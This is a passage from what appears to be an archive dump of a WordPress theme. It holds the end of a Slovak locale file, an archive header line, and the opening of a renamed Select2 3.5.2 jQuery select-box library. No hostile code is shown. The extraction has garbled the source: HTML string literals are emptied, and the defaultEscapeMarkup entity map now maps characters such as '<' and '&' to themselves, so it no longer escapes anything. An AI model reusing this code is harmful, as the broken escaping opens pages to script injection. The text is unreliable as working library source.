jednu položku"; } else if (limit >= 2 && limit <= 4) { return "Môžete zvoliť najviac "+smallNumbers[limit](false)+" položky"; } else { return "Môžete zvoliť najviac "+limit+" položiek"; } }, formatLoadMore: function (pageNumber) { return "Načítavajú sa ďalšie výsledky…"; }, formatSearching: function () { return "Vyhľadávanie…"; } }; $.extend($.fn.select3.defaults, $.fn.select3.locales['sk']); })(jQuery); Avada/includes/lib/inc/redux/extensions/vendorsupport/vendor_support/vendor/select3/select3.js000064400000442015152342437700027032 0ustar00/* Copyright 2012 Igor Vaynberg Version: 3.5.2 Timestamp: Sat Nov 1 14:43:36 EDT 2014 This software is licensed under the Apache License, Version 2.0 (the "Apache License") or the GNU General Public License version 2 (the "GPL License"). You may choose either license to govern your use of this software only upon the condition that you accept all of the terms of either the Apache License or the GPL License. You may obtain a copy of the Apache License and the GPL License at: http://www.apache.org/licenses/LICENSE-2.0 http://www.gnu.org/licenses/gpl-2.0.html Unless required by applicable law or agreed to in writing, software distributed under the Apache License or the GPL License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the Apache License and the GPL License for the specific language governing permissions and limitations under the Apache License and the GPL License. */ (function ($) { if(typeof $.fn.each2 == "undefined") { $.extend($.fn, { /* * 4-10 times faster .each replacement * use it carefully, as it overrides jQuery context of element on each iteration */ each2 : function (c) { var j = $([0]), i = -1, l = this.length; while ( ++i < l && (j.context = j[0] = this[i]) && c.call(j[0], i, j) !== false //"this"=DOM, i=index, j=jQuery object ); return this; } }); } })(jQuery); (function ($, undefined) { "use strict"; /*global document, window, jQuery, console */ if (window.Select3 !== undefined) { return; } var AbstractSelect3, SingleSelect3, MultiSelect3, nextUid, sizer, lastMousePosition={x:0,y:0}, $document, scrollBarDimensions, KEY = { TAB: 9, ENTER: 13, ESC: 27, SPACE: 32, LEFT: 37, UP: 38, RIGHT: 39, DOWN: 40, SHIFT: 16, CTRL: 17, ALT: 18, PAGE_UP: 33, PAGE_DOWN: 34, HOME: 36, END: 35, BACKSPACE: 8, DELETE: 46, isArrow: function (k) { k = k.which ? k.which : k; switch (k) { case KEY.LEFT: case KEY.RIGHT: case KEY.UP: case KEY.DOWN: return true; } return false; }, isControl: function (e) { var k = e.which; switch (k) { case KEY.SHIFT: case KEY.CTRL: case KEY.ALT: return true; } if (e.metaKey) return true; return false; }, isFunctionKey: function (k) { k = k.which ? k.which : k; return k >= 112 && k <= 123; } }, MEASURE_SCROLLBAR_TEMPLATE = "
    ", DIACRITICS = {"\u24B6":"A","\uFF21":"A","\u00C0":"A","\u00C1":"A","\u00C2":"A","\u1EA6":"A","\u1EA4":"A","\u1EAA":"A","\u1EA8":"A","\u00C3":"A","\u0100":"A","\u0102":"A","\u1EB0":"A","\u1EAE":"A","\u1EB4":"A","\u1EB2":"A","\u0226":"A","\u01E0":"A","\u00C4":"A","\u01DE":"A","\u1EA2":"A","\u00C5":"A","\u01FA":"A","\u01CD":"A","\u0200":"A","\u0202":"A","\u1EA0":"A","\u1EAC":"A","\u1EB6":"A","\u1E00":"A","\u0104":"A","\u023A":"A","\u2C6F":"A","\uA732":"AA","\u00C6":"AE","\u01FC":"AE","\u01E2":"AE","\uA734":"AO","\uA736":"AU","\uA738":"AV","\uA73A":"AV","\uA73C":"AY","\u24B7":"B","\uFF22":"B","\u1E02":"B","\u1E04":"B","\u1E06":"B","\u0243":"B","\u0182":"B","\u0181":"B","\u24B8":"C","\uFF23":"C","\u0106":"C","\u0108":"C","\u010A":"C","\u010C":"C","\u00C7":"C","\u1E08":"C","\u0187":"C","\u023B":"C","\uA73E":"C","\u24B9":"D","\uFF24":"D","\u1E0A":"D","\u010E":"D","\u1E0C":"D","\u1E10":"D","\u1E12":"D","\u1E0E":"D","\u0110":"D","\u018B":"D","\u018A":"D","\u0189":"D","\uA779":"D","\u01F1":"DZ","\u01C4":"DZ","\u01F2":"Dz","\u01C5":"Dz","\u24BA":"E","\uFF25":"E","\u00C8":"E","\u00C9":"E","\u00CA":"E","\u1EC0":"E","\u1EBE":"E","\u1EC4":"E","\u1EC2":"E","\u1EBC":"E","\u0112":"E","\u1E14":"E","\u1E16":"E","\u0114":"E","\u0116":"E","\u00CB":"E","\u1EBA":"E","\u011A":"E","\u0204":"E","\u0206":"E","\u1EB8":"E","\u1EC6":"E","\u0228":"E","\u1E1C":"E","\u0118":"E","\u1E18":"E","\u1E1A":"E","\u0190":"E","\u018E":"E","\u24BB":"F","\uFF26":"F","\u1E1E":"F","\u0191":"F","\uA77B":"F","\u24BC":"G","\uFF27":"G","\u01F4":"G","\u011C":"G","\u1E20":"G","\u011E":"G","\u0120":"G","\u01E6":"G","\u0122":"G","\u01E4":"G","\u0193":"G","\uA7A0":"G","\uA77D":"G","\uA77E":"G","\u24BD":"H","\uFF28":"H","\u0124":"H","\u1E22":"H","\u1E26":"H","\u021E":"H","\u1E24":"H","\u1E28":"H","\u1E2A":"H","\u0126":"H","\u2C67":"H","\u2C75":"H","\uA78D":"H","\u24BE":"I","\uFF29":"I","\u00CC":"I","\u00CD":"I","\u00CE":"I","\u0128":"I","\u012A":"I","\u012C":"I","\u0130":"I","\u00CF":"I","\u1E2E":"I","\u1EC8":"I","\u01CF":"I","\u0208":"I","\u020A":"I","\u1ECA":"I","\u012E":"I","\u1E2C":"I","\u0197":"I","\u24BF":"J","\uFF2A":"J","\u0134":"J","\u0248":"J","\u24C0":"K","\uFF2B":"K","\u1E30":"K","\u01E8":"K","\u1E32":"K","\u0136":"K","\u1E34":"K","\u0198":"K","\u2C69":"K","\uA740":"K","\uA742":"K","\uA744":"K","\uA7A2":"K","\u24C1":"L","\uFF2C":"L","\u013F":"L","\u0139":"L","\u013D":"L","\u1E36":"L","\u1E38":"L","\u013B":"L","\u1E3C":"L","\u1E3A":"L","\u0141":"L","\u023D":"L","\u2C62":"L","\u2C60":"L","\uA748":"L","\uA746":"L","\uA780":"L","\u01C7":"LJ","\u01C8":"Lj","\u24C2":"M","\uFF2D":"M","\u1E3E":"M","\u1E40":"M","\u1E42":"M","\u2C6E":"M","\u019C":"M","\u24C3":"N","\uFF2E":"N","\u01F8":"N","\u0143":"N","\u00D1":"N","\u1E44":"N","\u0147":"N","\u1E46":"N","\u0145":"N","\u1E4A":"N","\u1E48":"N","\u0220":"N","\u019D":"N","\uA790":"N","\uA7A4":"N","\u01CA":"NJ","\u01CB":"Nj","\u24C4":"O","\uFF2F":"O","\u00D2":"O","\u00D3":"O","\u00D4":"O","\u1ED2":"O","\u1ED0":"O","\u1ED6":"O","\u1ED4":"O","\u00D5":"O","\u1E4C":"O","\u022C":"O","\u1E4E":"O","\u014C":"O","\u1E50":"O","\u1E52":"O","\u014E":"O","\u022E":"O","\u0230":"O","\u00D6":"O","\u022A":"O","\u1ECE":"O","\u0150":"O","\u01D1":"O","\u020C":"O","\u020E":"O","\u01A0":"O","\u1EDC":"O","\u1EDA":"O","\u1EE0":"O","\u1EDE":"O","\u1EE2":"O","\u1ECC":"O","\u1ED8":"O","\u01EA":"O","\u01EC":"O","\u00D8":"O","\u01FE":"O","\u0186":"O","\u019F":"O","\uA74A":"O","\uA74C":"O","\u01A2":"OI","\uA74E":"OO","\u0222":"OU","\u24C5":"P","\uFF30":"P","\u1E54":"P","\u1E56":"P","\u01A4":"P","\u2C63":"P","\uA750":"P","\uA752":"P","\uA754":"P","\u24C6":"Q","\uFF31":"Q","\uA756":"Q","\uA758":"Q","\u024A":"Q","\u24C7":"R","\uFF32":"R","\u0154":"R","\u1E58":"R","\u0158":"R","\u0210":"R","\u0212":"R","\u1E5A":"R","\u1E5C":"R","\u0156":"R","\u1E5E":"R","\u024C":"R","\u2C64":"R","\uA75A":"R","\uA7A6":"R","\uA782":"R","\u24C8":"S","\uFF33":"S","\u1E9E":"S","\u015A":"S","\u1E64":"S","\u015C":"S","\u1E60":"S","\u0160":"S","\u1E66":"S","\u1E62":"S","\u1E68":"S","\u0218":"S","\u015E":"S","\u2C7E":"S","\uA7A8":"S","\uA784":"S","\u24C9":"T","\uFF34":"T","\u1E6A":"T","\u0164":"T","\u1E6C":"T","\u021A":"T","\u0162":"T","\u1E70":"T","\u1E6E":"T","\u0166":"T","\u01AC":"T","\u01AE":"T","\u023E":"T","\uA786":"T","\uA728":"TZ","\u24CA":"U","\uFF35":"U","\u00D9":"U","\u00DA":"U","\u00DB":"U","\u0168":"U","\u1E78":"U","\u016A":"U","\u1E7A":"U","\u016C":"U","\u00DC":"U","\u01DB":"U","\u01D7":"U","\u01D5":"U","\u01D9":"U","\u1EE6":"U","\u016E":"U","\u0170":"U","\u01D3":"U","\u0214":"U","\u0216":"U","\u01AF":"U","\u1EEA":"U","\u1EE8":"U","\u1EEE":"U","\u1EEC":"U","\u1EF0":"U","\u1EE4":"U","\u1E72":"U","\u0172":"U","\u1E76":"U","\u1E74":"U","\u0244":"U","\u24CB":"V","\uFF36":"V","\u1E7C":"V","\u1E7E":"V","\u01B2":"V","\uA75E":"V","\u0245":"V","\uA760":"VY","\u24CC":"W","\uFF37":"W","\u1E80":"W","\u1E82":"W","\u0174":"W","\u1E86":"W","\u1E84":"W","\u1E88":"W","\u2C72":"W","\u24CD":"X","\uFF38":"X","\u1E8A":"X","\u1E8C":"X","\u24CE":"Y","\uFF39":"Y","\u1EF2":"Y","\u00DD":"Y","\u0176":"Y","\u1EF8":"Y","\u0232":"Y","\u1E8E":"Y","\u0178":"Y","\u1EF6":"Y","\u1EF4":"Y","\u01B3":"Y","\u024E":"Y","\u1EFE":"Y","\u24CF":"Z","\uFF3A":"Z","\u0179":"Z","\u1E90":"Z","\u017B":"Z","\u017D":"Z","\u1E92":"Z","\u1E94":"Z","\u01B5":"Z","\u0224":"Z","\u2C7F":"Z","\u2C6B":"Z","\uA762":"Z","\u24D0":"a","\uFF41":"a","\u1E9A":"a","\u00E0":"a","\u00E1":"a","\u00E2":"a","\u1EA7":"a","\u1EA5":"a","\u1EAB":"a","\u1EA9":"a","\u00E3":"a","\u0101":"a","\u0103":"a","\u1EB1":"a","\u1EAF":"a","\u1EB5":"a","\u1EB3":"a","\u0227":"a","\u01E1":"a","\u00E4":"a","\u01DF":"a","\u1EA3":"a","\u00E5":"a","\u01FB":"a","\u01CE":"a","\u0201":"a","\u0203":"a","\u1EA1":"a","\u1EAD":"a","\u1EB7":"a","\u1E01":"a","\u0105":"a","\u2C65":"a","\u0250":"a","\uA733":"aa","\u00E6":"ae","\u01FD":"ae","\u01E3":"ae","\uA735":"ao","\uA737":"au","\uA739":"av","\uA73B":"av","\uA73D":"ay","\u24D1":"b","\uFF42":"b","\u1E03":"b","\u1E05":"b","\u1E07":"b","\u0180":"b","\u0183":"b","\u0253":"b","\u24D2":"c","\uFF43":"c","\u0107":"c","\u0109":"c","\u010B":"c","\u010D":"c","\u00E7":"c","\u1E09":"c","\u0188":"c","\u023C":"c","\uA73F":"c","\u2184":"c","\u24D3":"d","\uFF44":"d","\u1E0B":"d","\u010F":"d","\u1E0D":"d","\u1E11":"d","\u1E13":"d","\u1E0F":"d","\u0111":"d","\u018C":"d","\u0256":"d","\u0257":"d","\uA77A":"d","\u01F3":"dz","\u01C6":"dz","\u24D4":"e","\uFF45":"e","\u00E8":"e","\u00E9":"e","\u00EA":"e","\u1EC1":"e","\u1EBF":"e","\u1EC5":"e","\u1EC3":"e","\u1EBD":"e","\u0113":"e","\u1E15":"e","\u1E17":"e","\u0115":"e","\u0117":"e","\u00EB":"e","\u1EBB":"e","\u011B":"e","\u0205":"e","\u0207":"e","\u1EB9":"e","\u1EC7":"e","\u0229":"e","\u1E1D":"e","\u0119":"e","\u1E19":"e","\u1E1B":"e","\u0247":"e","\u025B":"e","\u01DD":"e","\u24D5":"f","\uFF46":"f","\u1E1F":"f","\u0192":"f","\uA77C":"f","\u24D6":"g","\uFF47":"g","\u01F5":"g","\u011D":"g","\u1E21":"g","\u011F":"g","\u0121":"g","\u01E7":"g","\u0123":"g","\u01E5":"g","\u0260":"g","\uA7A1":"g","\u1D79":"g","\uA77F":"g","\u24D7":"h","\uFF48":"h","\u0125":"h","\u1E23":"h","\u1E27":"h","\u021F":"h","\u1E25":"h","\u1E29":"h","\u1E2B":"h","\u1E96":"h","\u0127":"h","\u2C68":"h","\u2C76":"h","\u0265":"h","\u0195":"hv","\u24D8":"i","\uFF49":"i","\u00EC":"i","\u00ED":"i","\u00EE":"i","\u0129":"i","\u012B":"i","\u012D":"i","\u00EF":"i","\u1E2F":"i","\u1EC9":"i","\u01D0":"i","\u0209":"i","\u020B":"i","\u1ECB":"i","\u012F":"i","\u1E2D":"i","\u0268":"i","\u0131":"i","\u24D9":"j","\uFF4A":"j","\u0135":"j","\u01F0":"j","\u0249":"j","\u24DA":"k","\uFF4B":"k","\u1E31":"k","\u01E9":"k","\u1E33":"k","\u0137":"k","\u1E35":"k","\u0199":"k","\u2C6A":"k","\uA741":"k","\uA743":"k","\uA745":"k","\uA7A3":"k","\u24DB":"l","\uFF4C":"l","\u0140":"l","\u013A":"l","\u013E":"l","\u1E37":"l","\u1E39":"l","\u013C":"l","\u1E3D":"l","\u1E3B":"l","\u017F":"l","\u0142":"l","\u019A":"l","\u026B":"l","\u2C61":"l","\uA749":"l","\uA781":"l","\uA747":"l","\u01C9":"lj","\u24DC":"m","\uFF4D":"m","\u1E3F":"m","\u1E41":"m","\u1E43":"m","\u0271":"m","\u026F":"m","\u24DD":"n","\uFF4E":"n","\u01F9":"n","\u0144":"n","\u00F1":"n","\u1E45":"n","\u0148":"n","\u1E47":"n","\u0146":"n","\u1E4B":"n","\u1E49":"n","\u019E":"n","\u0272":"n","\u0149":"n","\uA791":"n","\uA7A5":"n","\u01CC":"nj","\u24DE":"o","\uFF4F":"o","\u00F2":"o","\u00F3":"o","\u00F4":"o","\u1ED3":"o","\u1ED1":"o","\u1ED7":"o","\u1ED5":"o","\u00F5":"o","\u1E4D":"o","\u022D":"o","\u1E4F":"o","\u014D":"o","\u1E51":"o","\u1E53":"o","\u014F":"o","\u022F":"o","\u0231":"o","\u00F6":"o","\u022B":"o","\u1ECF":"o","\u0151":"o","\u01D2":"o","\u020D":"o","\u020F":"o","\u01A1":"o","\u1EDD":"o","\u1EDB":"o","\u1EE1":"o","\u1EDF":"o","\u1EE3":"o","\u1ECD":"o","\u1ED9":"o","\u01EB":"o","\u01ED":"o","\u00F8":"o","\u01FF":"o","\u0254":"o","\uA74B":"o","\uA74D":"o","\u0275":"o","\u01A3":"oi","\u0223":"ou","\uA74F":"oo","\u24DF":"p","\uFF50":"p","\u1E55":"p","\u1E57":"p","\u01A5":"p","\u1D7D":"p","\uA751":"p","\uA753":"p","\uA755":"p","\u24E0":"q","\uFF51":"q","\u024B":"q","\uA757":"q","\uA759":"q","\u24E1":"r","\uFF52":"r","\u0155":"r","\u1E59":"r","\u0159":"r","\u0211":"r","\u0213":"r","\u1E5B":"r","\u1E5D":"r","\u0157":"r","\u1E5F":"r","\u024D":"r","\u027D":"r","\uA75B":"r","\uA7A7":"r","\uA783":"r","\u24E2":"s","\uFF53":"s","\u00DF":"s","\u015B":"s","\u1E65":"s","\u015D":"s","\u1E61":"s","\u0161":"s","\u1E67":"s","\u1E63":"s","\u1E69":"s","\u0219":"s","\u015F":"s","\u023F":"s","\uA7A9":"s","\uA785":"s","\u1E9B":"s","\u24E3":"t","\uFF54":"t","\u1E6B":"t","\u1E97":"t","\u0165":"t","\u1E6D":"t","\u021B":"t","\u0163":"t","\u1E71":"t","\u1E6F":"t","\u0167":"t","\u01AD":"t","\u0288":"t","\u2C66":"t","\uA787":"t","\uA729":"tz","\u24E4":"u","\uFF55":"u","\u00F9":"u","\u00FA":"u","\u00FB":"u","\u0169":"u","\u1E79":"u","\u016B":"u","\u1E7B":"u","\u016D":"u","\u00FC":"u","\u01DC":"u","\u01D8":"u","\u01D6":"u","\u01DA":"u","\u1EE7":"u","\u016F":"u","\u0171":"u","\u01D4":"u","\u0215":"u","\u0217":"u","\u01B0":"u","\u1EEB":"u","\u1EE9":"u","\u1EEF":"u","\u1EED":"u","\u1EF1":"u","\u1EE5":"u","\u1E73":"u","\u0173":"u","\u1E77":"u","\u1E75":"u","\u0289":"u","\u24E5":"v","\uFF56":"v","\u1E7D":"v","\u1E7F":"v","\u028B":"v","\uA75F":"v","\u028C":"v","\uA761":"vy","\u24E6":"w","\uFF57":"w","\u1E81":"w","\u1E83":"w","\u0175":"w","\u1E87":"w","\u1E85":"w","\u1E98":"w","\u1E89":"w","\u2C73":"w","\u24E7":"x","\uFF58":"x","\u1E8B":"x","\u1E8D":"x","\u24E8":"y","\uFF59":"y","\u1EF3":"y","\u00FD":"y","\u0177":"y","\u1EF9":"y","\u0233":"y","\u1E8F":"y","\u00FF":"y","\u1EF7":"y","\u1E99":"y","\u1EF5":"y","\u01B4":"y","\u024F":"y","\u1EFF":"y","\u24E9":"z","\uFF5A":"z","\u017A":"z","\u1E91":"z","\u017C":"z","\u017E":"z","\u1E93":"z","\u1E95":"z","\u01B6":"z","\u0225":"z","\u0240":"z","\u2C6C":"z","\uA763":"z","\u0386":"\u0391","\u0388":"\u0395","\u0389":"\u0397","\u038A":"\u0399","\u03AA":"\u0399","\u038C":"\u039F","\u038E":"\u03A5","\u03AB":"\u03A5","\u038F":"\u03A9","\u03AC":"\u03B1","\u03AD":"\u03B5","\u03AE":"\u03B7","\u03AF":"\u03B9","\u03CA":"\u03B9","\u0390":"\u03B9","\u03CC":"\u03BF","\u03CD":"\u03C5","\u03CB":"\u03C5","\u03B0":"\u03C5","\u03C9":"\u03C9","\u03C2":"\u03C3"}; $document = $(document); nextUid=(function() { var counter=1; return function() { return counter++; }; }()); function reinsertElement(element) { var placeholder = $(document.createTextNode('')); element.before(placeholder); placeholder.before(element); placeholder.remove(); } function stripDiacritics(str) { // Used 'uni range + named function' from http://jsperf.com/diacritics/18 function match(a) { return DIACRITICS[a] || a; } return str.replace(/[^\u0000-\u007E]/g, match); } function indexOf(value, array) { var i = 0, l = array.length; for (; i < l; i = i + 1) { if (equal(value, array[i])) return i; } return -1; } function measureScrollbar () { var $template = $( MEASURE_SCROLLBAR_TEMPLATE ); $template.appendTo(document.body); var dim = { width: $template.width() - $template[0].clientWidth, height: $template.height() - $template[0].clientHeight }; $template.remove(); return dim; } /** * Compares equality of a and b * @param a * @param b */ function equal(a, b) { if (a === b) return true; if (a === undefined || b === undefined) return false; if (a === null || b === null) return false; // Check whether 'a' or 'b' is a string (primitive or object). // The concatenation of an empty string (+'') converts its argument to a string's primitive. if (a.constructor === String) return a+'' === b+''; // a+'' - in case 'a' is a String object if (b.constructor === String) return b+'' === a+''; // b+'' - in case 'b' is a String object return false; } /** * Splits the string into an array of values, transforming each value. An empty array is returned for nulls or empty * strings * @param string * @param separator */ function splitVal(string, separator, transform) { var val, i, l; if (string === null || string.length < 1) return []; val = string.split(separator); for (i = 0, l = val.length; i < l; i = i + 1) val[i] = transform(val[i]); return val; } function getSideBorderPadding(element) { return element.outerWidth(false) - element.width(); } function installKeyUpChangeEvent(element) { var key="keyup-change-value"; element.on("keydown", function () { if ($.data(element, key) === undefined) { $.data(element, key, element.val()); } }); element.on("keyup", function () { var val= $.data(element, key); if (val !== undefined && element.val() !== val) { $.removeData(element, key); element.trigger("keyup-change"); } }); } /** * filters mouse events so an event is fired only if the mouse moved. * * filters out mouse events that occur when mouse is stationary but * the elements under the pointer are scrolled. */ function installFilteredMouseMove(element) { element.on("mousemove", function (e) { var lastpos = lastMousePosition; if (lastpos === undefined || lastpos.x !== e.pageX || lastpos.y !== e.pageY) { $(e.target).trigger("mousemove-filtered", e); } }); } /** * Debounces a function. Returns a function that calls the original fn function only if no invocations have been made * within the last quietMillis milliseconds. * * @param quietMillis number of milliseconds to wait before invoking fn * @param fn function to be debounced * @param ctx object to be used as this reference within fn * @return debounced version of fn */ function debounce(quietMillis, fn, ctx) { ctx = ctx || undefined; var timeout; return function () { var args = arguments; window.clearTimeout(timeout); timeout = window.setTimeout(function() { fn.apply(ctx, args); }, quietMillis); }; } function installDebouncedScroll(threshold, element) { var notify = debounce(threshold, function (e) { element.trigger("scroll-debounced", e);}); element.on("scroll", function (e) { if (indexOf(e.target, element.get()) >= 0) notify(e); }); } function focus($el) { if ($el[0] === document.activeElement) return; /* set the focus in a 0 timeout - that way the focus is set after the processing of the current event has finished - which seems like the only reliable way to set focus */ window.setTimeout(function() { var el=$el[0], pos=$el.val().length, range; $el.focus(); /* make sure el received focus so we do not error out when trying to manipulate the caret. sometimes modals or others listeners may steal it after its set */ var isVisible = (el.offsetWidth > 0 || el.offsetHeight > 0); if (isVisible && el === document.activeElement) { /* after the focus is set move the caret to the end, necessary when we val() just before setting focus */ if(el.setSelectionRange) { el.setSelectionRange(pos, pos); } else if (el.createTextRange) { range = el.createTextRange(); range.collapse(false); range.select(); } } }, 0); } function getCursorInfo(el) { el = $(el)[0]; var offset = 0; var length = 0; if ('selectionStart' in el) { offset = el.selectionStart; length = el.selectionEnd - offset; } else if ('selection' in document) { el.focus(); var sel = document.selection.createRange(); length = document.selection.createRange().text.length; sel.moveStart('character', -el.value.length); offset = sel.text.length - length; } return { offset: offset, length: length }; } function killEvent(event) { event.preventDefault(); event.stopPropagation(); } function killEventImmediately(event) { event.preventDefault(); event.stopImmediatePropagation(); } function measureTextWidth(e) { if (!sizer){ var style = e[0].currentStyle || window.getComputedStyle(e[0], null); sizer = $(document.createElement("div")).css({ position: "absolute", left: "-10000px", top: "-10000px", display: "none", fontSize: style.fontSize, fontFamily: style.fontFamily, fontStyle: style.fontStyle, fontWeight: style.fontWeight, letterSpacing: style.letterSpacing, textTransform: style.textTransform, whiteSpace: "nowrap" }); sizer.attr("class","select3-sizer"); $(document.body).append(sizer); } sizer.text(e.val()); return sizer.width(); } function syncCssClasses(dest, src, adapter) { var classes, replacements = [], adapted; classes = $.trim(dest.attr("class")); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each2(function() { if (this.indexOf("select3-") === 0) { replacements.push(this); } }); } classes = $.trim(src.attr("class")); if (classes) { classes = '' + classes; // for IE which returns object $(classes.split(/\s+/)).each2(function() { if (this.indexOf("select3-") !== 0) { adapted = adapter(this); if (adapted) { replacements.push(adapted); } } }); } dest.attr("class", replacements.join(" ")); } function markMatch(text, term, markup, escapeMarkup) { var match=stripDiacritics(text.toUpperCase()).indexOf(stripDiacritics(term.toUpperCase())), tl=term.length; if (match<0) { markup.push(escapeMarkup(text)); return; } markup.push(escapeMarkup(text.substring(0, match))); markup.push(""); markup.push(escapeMarkup(text.substring(match, match + tl))); markup.push(""); markup.push(escapeMarkup(text.substring(match + tl, text.length))); } function defaultEscapeMarkup(markup) { var replace_map = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', "'": ''', "/": '/' }; return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replace_map[match]; }); } /** * Produces an ajax-based query function * * @param options object containing configuration parameters * @param options.params parameter map for the transport ajax call, can contain such options as cache, jsonpCallback, etc. see $.ajax * @param options.transport function that will be used to execute the ajax request. must be compatible with parameters supported by $.ajax * @param options.url url for the data * @param options.data a function(searchTerm, pageNumber, context) that should return an object containing query string parameters for the above url. * @param options.dataType request data type: ajax, jsonp, other datatypes supported by jQuery's $.ajax function or the transport function if specified * @param options.quietMillis (optional) milliseconds to wait before making the ajaxRequest, helps debounce the ajax function if invoked too often * @param options.results a function(remoteData, pageNumber, query) that converts data returned form the remote request to the format expected by Select3. * The expected format is an object containing the following keys: * results array of objects that will be used as choices * more (optional) boolean indicating whether there are more results available * Example: {results:[{id:1, text:'Red'},{id:2, text:'Blue'}], more:true} */ function ajax(options) { var timeout, // current scheduled but not yet executed request handler = null, quietMillis = options.quietMillis || 100, ajaxUrl = options.url, self = this; return function (query) { window.clearTimeout(timeout); timeout = window.setTimeout(function () { var data = options.data, // ajax data function url = ajaxUrl, // ajax url string or function transport = options.transport || $.fn.select3.ajaxDefaults.transport, // deprecated - to be removed in 4.0 - use params instead deprecated = { type: options.type || 'GET', // set type of request (GET or POST) cache: options.cache || false, jsonpCallback: options.jsonpCallback||undefined, dataType: options.dataType||"json" }, params = $.extend({}, $.fn.select3.ajaxDefaults.params, deprecated); data = data ? data.call(self, query.term, query.page, query.context) : null; url = (typeof url === 'function') ? url.call(self, query.term, query.page, query.context) : url; if (handler && typeof handler.abort === "function") { handler.abort(); } if (options.params) { if ($.isFunction(options.params)) { $.extend(params, options.params.call(self)); } else { $.extend(params, options.params); } } $.extend(params, { url: url, dataType: options.dataType, data: data } ) .done( function (data) { // TODO - replace query.page with query so users have access to term, page, etc. // added query as third paramter to keep backwards compatibility var results = options.results(data, query.page, query); query.callback(results); } ) .fail( function(jqXHR, textStatus, errorThrown){ var results = { hasError: true, jqXHR: jqXHR, textStatus: textStatus, errorThrown: errorThrown }; query.callback(results); } ); handler = transport.call(self, params); }, quietMillis); }; } /** * Produces a query function that works with a local array * * @param options object containing configuration parameters. The options parameter can either be an array or an * object. * * If the array form is used it is assumed that it contains objects with 'id' and 'text' keys. * * If the object form is used it is assumed that it contains 'data' and 'text' keys. The 'data' key should contain * an array of objects that will be used as choices. These objects must contain at least an 'id' key. The 'text' * key can either be a String in which case it is expected that each element in the 'data' array has a key with the * value of 'text' which will be used to match choices. Alternatively, text can be a function(item) that can extract * the text. */ function local(options) { var data = options, // data elements dataText, tmp, text = function (item) { return ""+item.text; }; // function used to retrieve the text portion of a data item that is matched against the search if (Array.isArray(data)) { tmp = data; data = { results: tmp }; } if ($.isFunction(data) === false) { tmp = data; data = function() { return tmp; }; } var dataItem = data(); if (dataItem.text) { text = dataItem.text; // if text is not a function we assume it to be a key name if (!$.isFunction(text)) { dataText = dataItem.text; // we need to store this in a separate variable because in the next step data gets reset and data.text is no longer available text = function (item) { return item[dataText]; }; } } return function (query) { var t = query.term, filtered = { results: [] }, process; if (t === "") { query.callback(data()); return; } process = function(datum, collection) { var group, attr; datum = datum[0]; if (datum.children) { group = {}; for (attr in datum) { if (datum.hasOwnProperty(attr)) group[attr]=datum[attr]; } group.children=[]; $(datum.children).each2(function(i, childDatum) { process(childDatum, group.children); }); if (group.children.length || query.matcher(t, text(group), datum)) { collection.push(group); } } else { if (query.matcher(t, text(datum), datum)) { collection.push(datum); } } }; $(data().results).each2(function(i, datum) { process(datum, filtered.results); }); query.callback(filtered); }; } // TODO javadoc function tags(data) { var isFunc = $.isFunction(data); return function (query) { var t = query.term, filtered = {results: []}; var result = isFunc ? data(query) : data; if (Array.isArray(result)) { $(result).each(function () { var isObject = this.text !== undefined, text = isObject ? this.text : this; if (t === "" || query.matcher(t, text)) { filtered.results.push(isObject ? this : {id: this, text: this}); } }); query.callback(filtered); } }; } /** * Checks if the formatter function should be used. * * Throws an error if it is not a function. Returns true if it should be used, * false if no formatting should be performed. * * @param formatter */ function checkFormatter(formatter, formatterName) { if ($.isFunction(formatter)) return true; if (!formatter) return false; if (typeof(formatter) === 'string') return true; throw new Error(formatterName +" must be a string, function, or falsy value"); } /** * Returns a given value * If given a function, returns its output * * @param val string|function * @param context value of "this" to be passed to function * @returns {*} */ function evaluate(val, context) { if ($.isFunction(val)) { var args = Array.prototype.slice.call(arguments, 2); return val.apply(context, args); } return val; } function countResults(results) { var count = 0; $.each(results, function(i, item) { if (item.children) { count += countResults(item.children); } else { count++; } }); return count; } /** * Default tokenizer. This function uses breaks the input on substring match of any string from the * opts.tokenSeparators array and uses opts.createSearchChoice to create the choice object. Both of those * two options have to be defined in order for the tokenizer to work. * * @param input text user has typed so far or pasted into the search field * @param selection currently selected choices * @param selectCallback function(choice) callback tho add the choice to selection * @param opts select3's opts * @return undefined/null to leave the current input unchanged, or a string to change the input to the returned value */ function defaultTokenizer(input, selection, selectCallback, opts) { var original = input, // store the original so we can compare and know if we need to tell the search to update its text dupe = false, // check for whether a token we extracted represents a duplicate selected choice token, // token index, // position at which the separator was found i, l, // looping variables separator; // the matched separator if (!opts.createSearchChoice || !opts.tokenSeparators || opts.tokenSeparators.length < 1) return undefined; while (true) { index = -1; for (i = 0, l = opts.tokenSeparators.length; i < l; i++) { separator = opts.tokenSeparators[i]; index = input.indexOf(separator); if (index >= 0) break; } if (index < 0) break; // did not find any token separator in the input string, bail token = input.substring(0, index); input = input.substring(index + separator.length); if (token.length > 0) { token = opts.createSearchChoice.call(this, token, selection); if (token !== undefined && token !== null && opts.id(token) !== undefined && opts.id(token) !== null) { dupe = false; for (i = 0, l = selection.length; i < l; i++) { if (equal(opts.id(token), opts.id(selection[i]))) { dupe = true; break; } } if (!dupe) selectCallback(token); } } } if (original!==input) return input; } function cleanupJQueryElements() { var self = this; $.each(arguments, function (i, element) { self[element].remove(); self[element] = null; }); } /** * Creates a new class * * @param superClass * @param methods */ function clazz(SuperClass, methods) { var constructor = function () {}; constructor.prototype = new SuperClass; constructor.prototype.constructor = constructor; constructor.prototype.parent = SuperClass.prototype; constructor.prototype = $.extend(constructor.prototype, methods); return constructor; } AbstractSelect3 = clazz(Object, { // abstract bind: function (func) { var self = this; return function () { func.apply(self, arguments); }; }, // abstract init: function (opts) { var results, search, resultsSelector = ".select3-results"; // prepare options this.opts = opts = this.prepareOpts(opts); this.id=opts.id; // destroy if called on an existing component if (opts.element.data("select3") !== undefined && opts.element.data("select3") !== null) { opts.element.data("select3").destroy(); } this.container = this.createContainer(); this.liveRegion = $('.select3-hidden-accessible'); if (this.liveRegion.length == 0) { this.liveRegion = $("", { role: "status", "aria-live": "polite" }) .addClass("select3-hidden-accessible") .appendTo(document.body); } this.containerId="s2id_"+(opts.element.attr("id") || "autogen"+nextUid()); this.containerEventName= this.containerId .replace(/([.])/g, '_') 